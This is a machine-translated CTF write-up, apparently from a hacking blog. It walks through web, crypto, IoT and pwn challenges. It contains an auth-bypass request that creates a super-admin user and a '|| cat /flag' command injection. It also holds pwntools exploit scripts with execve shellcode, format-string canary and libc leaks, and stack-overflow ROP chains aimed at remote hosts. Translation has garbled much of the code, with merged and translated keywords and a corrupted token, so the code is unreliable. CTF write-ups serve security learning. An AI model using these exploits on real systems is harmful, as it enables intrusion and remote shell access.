Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86376276

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

予備競争

web_ezcms

スワッガーリークテスト/テストテストアカウントログイン、/sys/user/**認証を実行していません。スーパー管理者ユーザーを追加できます。

1049983-20240802141202586-170871422.jpg

現時点では、roleIDはまだ不明です。ロールモジュールは不正ではありません。ユーザーモジュールを読み続け、インターフェイスを発見します

1049983-20240802141203506-2056064072.jpg

ここにはロールIDリークがあります。ここでは、以前にリークされた管理者のIDFCF34B56-A7A2-4719-9236-867495E74C31に記入してください

取得/sys/user/roles/fcf34b56-a7a2-4719-9236-867495e74c31この時点で、スーパー管理者IDは11b3b80c-4a0b-4a92-96ea-fdd4f7a4a4a7e9

{

'createwhere ':0、

'Deptid':'1'、

'email ':' '、

'password ':'123456'、

'Phone':'1111111111'、

'roleids': [

'11b3b80c-4a0b-4a92-96ea-fdd4f7a4a7e9'

]、

'sex':'fmale'、

'username ':'hacker'

}パスワードフィールドデコードに失敗し、テストアカウントでログを確認して、AESのキーであるAbcdefghijklmnopを見つけ、ユーザーが正常に追加されました。ユーザーを追加した後、モジュールでping関数を見つけましたが、WAFがあります。 WAFをバイパスし、コマンドを実行してフラグを取得します

post/sys/pinghttp/1.1

host:

user-agent:mozilla/5.0(macintosh; intelmacosx10.15; rv3360126.0)gecko/20100101firefox/126.0

Accept:Application/json、text/javascript、*/*; q=0.01

Accept-Language:Zh-Cn、Zh; q=0.8、Zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2

Accept-Encoding:GZIP、deflate

content-type:Application/json; charset=utf-8

authorization:eyjhbgcioiijiuzi1nij9.eyjzdwiioiijmy2yzngi1ni1hni1hni1hni2eyltq3mtktotizni04njc0otvlnzrjmzeilcjqd3qtcm9szxmta2 v5xyi6wylotoxnuqfnrqhnkiblkzgixswiaxnzijoiewluz3h1zs5jb20ilcjqd3qtcgvybwlzc2lvnmta2v55ijpbinnn5czp1c2vyomxpc3qilcjzexm 6ZgVWDDP1CGRHDGUILCJZEXM6ZGVWDDPKZXRHAWWILCJZEXM6DXNLCJPYB2XLONVWZGF0ZSISINNN5CZPWZXJTAXNZAW9UOMFKZZCISINNN5CZPWZXJTAXNZAW9UOMFKZCISINN5CZP1C2BYOMFKZCISCISCISINNN5CZP1C2BYOMFKZCISCISCISINN5 p1c2vyomfkzcisinn5czp1c2vyomrlbgv0zwqilcjzexm6cgvybwlzc2lvbjp1cgrhdguilcjzzexm6dxnlcjpkzxrhawwilcjzexm6zgiwiciwiciwic3lciwiciwiciwic3lciwikiwic3lckzwdgkdgkdgkdgkdgkdgkzdgkdgkzdgkzdgkdgkzdgkkzdgkdgkzdgkdgkkzdgkdgkdgkdgkkzdgkkdgkdgkknedgiwic3l jvbgu6dxbkyxrliiwic3lzonjvbgu6zgv0ywlsiiwic3lzomrlchq6bglzdcisinnn5czpkzxb0mfkzcisinn5czp1c2vyonvwzgf0zsisinnn5czp2xl2xl2xl2xLisb2xLie 6cm9sztpkzwxldgvkiiwic3lzonblcm1pc3npb246bglzdcisinn5czpwzjtaxnzaw9uomrldgfpbcisinn5czpwzxjtaxnzaw9uomrldgfpbcisinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czn5 mrlbgv0zwqilcjzexm6bg9nomrlbgv0zwqilcjzexm6dxnlcjpyb2xlomrldgfpbcisinnn5czinnn5czinnn5czinnn5czinnn5czinnn5cisinnn5czpsb2c6bglzdcjdlcjqd3qddx nlci1uyw1llwtlesi6imfkbwluiiwizxhwijoxnze2nze3mjiwlcjpyxqioje3mty3mty3mty3mty3mty3mty0lftbd2b7yaampkktl_eo0kjcb5j3bw8fka

X-Requested With:xmlhttprequest

Content-Length:28

Origin:

DNT:1

SEC-GPC:1

connection:close

参照:

cookie:jsessionid=c701d746da63e8fb94270ad6d2fd9adb

sec-fetch-dest:Empty

sec-fetch-mode:cors

SEC-FETCH-SITE:SAME-ORIGIN

Priority:U=1

{'ip':'10.10.10.10-1 || cat/flag'}

トップシークレットファイルコードP

importcv2

importnumpyasnp

S=1790932091819291499534661361785420675976823277412565868079070707029728290913658

fromcrypto.util.numberimport*

#P、Q=(24162760378372762422470687817893681267、

#34743245425789325049640796550677777649463)

## assertp ** 2+q ** 2==s

## print(isprime(p)、isprime(q))

#img_path='flag_enc.png'

#IMG=cv2.imread(img_path)

#print(img.shape)

fromympy.solvers.diophantine.diophantineimportcornacchia

'' '

この場所は、sから変更し、分解し、Factordbだけを変更する必要があります

f={724721568156194459002808961358148476581:1,157606014 2432444438240601:1,5801674693:1,2:1,1351:1}}

'' '

x1=cornacchia(1,1、s)

Fora、binx1:

Asserta ** 2+B ** 2==s

ifisprime(a)andisprime(b):

印刷(a、b)

#ここでPとQを取得しました

fromcrypto.util.numberimport*

P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957

S=1790932091819291499534661361785420675976823277412565868079070707029728290913658

assertisprime(p)andisprime(q)andp ** 2+q ** 2==s

importcv2

path1='flag_enc.png'

img=cv2.imread(path1)

#print(img.shape)

r、c、d=img.shape

印刷(r、c)

#i、j=101,201

fromtqdmimporttqdm

A、B=P、Q

foriintqdm(range(r)):

Forjinrange(c):

set1=set()

set1.add((i、j))

i1、j1=i、j

WHILETRUE:

x=(i1+b*j1)%r

y=((a*i1)+(a*b+1)*j1)%c

i1、j1=x、y

if(x、y)notinset1:

set1.add((x、y))

else:

ifi==0andj==0:

続行します

assertlen(set1)==190#はすべてデフォルト190です

#ここは190であることがわかりました。後で触れ始めたのは偶然でした。

#s1=s%190

#print(s1)

#importnumpyasnp

#defarnold(img、shuffle_times、a、b):

#r、c、d=img.shape

#p=np.zeros(img.shape、np.uint8)

#print(r、c、d、shuffle_times)

#forsinrange(shuffle_times):

#foriinrange(r):

#forjinrange(c):

#x=(i+b*j)%r

#y=((a*i)+(a*b+1)*j)%c

#P [x、y、]=img [i、j、]

#img=np.copy(p)

#returnp

#x1=アーノルド(img、11、p、q)

#cv2.imwrite( 'flag3.png'、x1)

## cv2.imwrite( 'flag1.png'、img)

C=17909320918192914995346613617854206759768232774125658680790707029728290913658

P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957

importcv2

importnumpyasnp

Defarnold(IMG、shuffle_times、a、b):

r、c、d=img.shape

p=np.zeros(img.shape、np.uint8)

印刷(r、c、d、shuffle_times)

forsinrange(shuffle_times):

foriinrange(r):

Forjinrange(c):

x=(i+b*j)%r

y=((a*i)+(a*b+1)*j)%c

p [x、y、]=img [i、j、]

img=np.copy(p)

戻る

img=cv2.imread( 'flag_enc.png')

#print(img)

C1=C%190

Foriinrange(190):

img=arnold(img、1、p、q)

cv2.imwrite(f'flag {i+1} .png '、img)

'' '

1。激しく列挙してください。とにかく、サイクルは190です。すべてを列挙してください。 i=66を見つけると、flag67.pngはflagです

2.FLAG {ailuropoda_rnelaNoleuca}

''

正しいことをし続ける

トラフィックパケットから取得されたデータは、画像の16進システムです

1049983-20240802141204115-667496384.jpg

彼の16進システムを確認し、彼の終わりに追加のデータがあることを見つけます

1049983-20240802141204919-1421521109.jpg

それはVIM描画コマンドで、drawitを直接インストールし、コマンドを入力してマップを描画します

ゲーム

ゲームを直接プレイしてフラグを取得します

これは本当のサインイン

です

1049983-20240802141205695-1581426213.jpg

funiot

Dockerファイルのセットを提供し、バイナリファイルを実行し、逆を直接開き、次にダイナミックデバッグと静的分析を組み合わせてプロトコル形式を分析し、最終的に読み取りファイルの関数の1つを使用し、//ByPass比較検出を使用します。

1049983-20240802141206375-612647167.jpg

次に、フラグを読みます:

frommpwnimport*

Importzlib

#p=remote( '127.0.0.1'、6768)

p=remote( '173.34.20.10'、6768)

ヘッダー=b'funiot '#6

CMD=0x102

cmd_encode=int(cmd).to_bytes(2、 'big')

len=0x0101

length=int(len).to_bytes(2、 'big')

#content=b'getinfo:shadow '

#content=b'getinfo:/lib/udev/rc_keymaps/asus_pc39.toml '

content=b'getinfo: //flag '

content=content.ljust(0x101、b '\ x00')

check_sum=int(zlib.crc32(content))。to_bytes(4、 'big')

full_content=header+length+cmd_encode+check_sum+content

#packet:

#header:6Bytes

#length:2bytes

#CMD:2BYTES

#CheckSum:4Bytes

#CONTENT:UNKNOW

context.log_level='debug'

p.send(full_content)

#p.Interactive()

ImportBase64

print(base64.b64decode(p.recv())。デコード( 'utf-8'))

#command:getinfo、setinfo、secret

yesure_hack

質問には、最大値と最小値を入力し、この範囲の乱数を推測する必要があります。正しく推測すると、スタックオーバーフローを入力します。オーバーフロー文字の数は間違っていると推測した回数であるため、2つの隣接する数値を入力して、十分な回数を推測してから、定期的なスタックオーバーフロー使用率を実行できます。スタックを開いた後に実行できるため、検出でペイロードが空になっていないことが必要なため、シェルコードを直接書き、XORバイパスされていない非空白検出を実行しました。

#ランダム%(Max-Min+1)+Min

frommpwnimport*

context.log_level='debug'

#p=process( './main')

p=remote( '173.34.20.233'、9999)

P.Sendlinefter(b'ch: '、b'1')

P.Sendlinefter(b'enteraminimumandmaximummumberfortheguessinggame: '、b'12')

Foriinrange(99):

P.Sendlinefter(b'guessanumber '、b'1')

P.Sendlinefter(b'guessanumberbetween '、b'2')

ペイロード=b'a '*0x3c

ペイロード+=P32(0x0805DEA9)

ペイロード+=asm( '' 'push0xffffffff4

ポピアックス

push0xffffffffffff

popepx

Xoreax、EBX

push0xff978cd0

Popecx

Xorecx、EBX

pushecx

push0x6e69622f

movebx、esp

Xorecx、ECX

int0x80 '' ')

ペイロード=payload.ljust(99、b'a ')

一時停止()

P.Sendlineferter(b'congratulation! '、ペイロード)

p.Interactive()

msg

辞書の辞書のスタックオーバーフロー +フォーマット文字列の脆弱性。これにより、文字列の脆弱性がカナリアとLIBCに漏れています。

frommpwnimport*

#p=process( './main')

p=remote( '173.34.20.68'、9999)

P.Sendlinefter(b'message: '、b'%11 $ p ')

canary=int(p.recv(18)、16)

成功(f'canary: {hex(canary)} ')

P.Sendlinefter(b'message: '、b'%3 $ p ')

libc=int(p.recv(14)、16)-0x10e1f2

成功(f'libc: {hex(libc)} ')

One=libc+0xe3b01

P.Sendlinefter(b'message: '、b'a'*0x28+p64(canary)+b'b '*8+p64(one))

一時停止()

P.Sendlinefter(b'message: '、b' \ x00 '*0x10)

p.Interactive()

スタックオーバー

も古典的なスタックオーバーフローですが、リモートLIBCはローカルとは少し異なります。さらに、返品アドレスは、Leaf ESP [ECX-4]、RETを介して返されます。これは正常に使用されていません。ただし、プログラムをさまざまな出力場所に制御した後、スタック環境は基本的に同じであると判断されているため、最終的には、LIBCに頼って利用しないようにしてください。

frommpwnimport*

#context.log_level='debug'

#p=process( './stackover')

p=remote(b'173.34.20.46 '、9999)

p.sendafter(b'read: '、b'a'*0x29b)

P.Recvuntil(b'a '*0x29b)

canary=u32(b '\ x00'+p.recv(3))

成功(f'canary: {hex(canary)} ')

#一時停止()

p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c-0x30-4)))

P.Recvuntil(b'a '*(0x29b+7+8+0x2c-0x30-4)))

P.Recv(4)

P.Recv(4)

stack=u32(p.recv(4))

成功(f'stack: {hex(stack)} ')

#一時停止()

p.sendafter(b'read: '、b'b'*(0x29b+0x18+7)))

P.Recvuntil(b'b '*(0x29b+0x18+7))

libc=u32(p.recv(4))-0x1aed5

成功(f'libc: {hex(libc)} ')

#一時停止()

p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c+0x54))

P.Recvuntil(b'a '*(0x29b+7+8+0x2c+0x54)))

elf_base=u32(p.recv(4))-0x3fb8

成功(f'elf_base: {hex(elf_base)} ')

ペイロード=b'c '*(0x29a-0x14-8)

#execve0xc9510

#System0x41780

#puts0x6dc40

#ペイロード+=P32(libc+0x6dc40)

#ペイロード+=P32(elf_base+0x1130)

ペイロード+=b '/bin/sh \ x00'

ペイロード+=P32(elf_base+0x128e)

#ペイロード+=p32(elf_base+0x3fcc)

#ペイロード+=p32(0)

ペイロード+=P32(stack-0x50)

ペイロード+=p32(0)

#ペイロード+=P32(libc+0x18e363)

#ペイロード+=P32(libc+0x18e363)

ペイロード+=p32(0)

ペイロード+=p32(0)

ペイロード+=P32(カナリア)

ペイロード+=p32(0)*3

ペイロード+=P32(stack-0x44)

ペイロード+=P32(elf_base+0x3fb8)

ペイロード+=b '/bin/sh \ x00'

一時停止()

context.log_level='debug'

p.sendafter(b'read: '、ペイロード)

p.Interactive()

stackover-revenge

は255以内に追加および減算関数を提供します。最初は脆弱性は見られませんでしたが、後にプログラムの通常のプロセスに少しバックドアコードが追加されたことがわかりました。

1049983-20240802141207116-1405232494.jpg

IDAはF5を押し、ここでは見えません。別の場所のバックドアコードは、上記のコードのトリガー条件を完了することができます。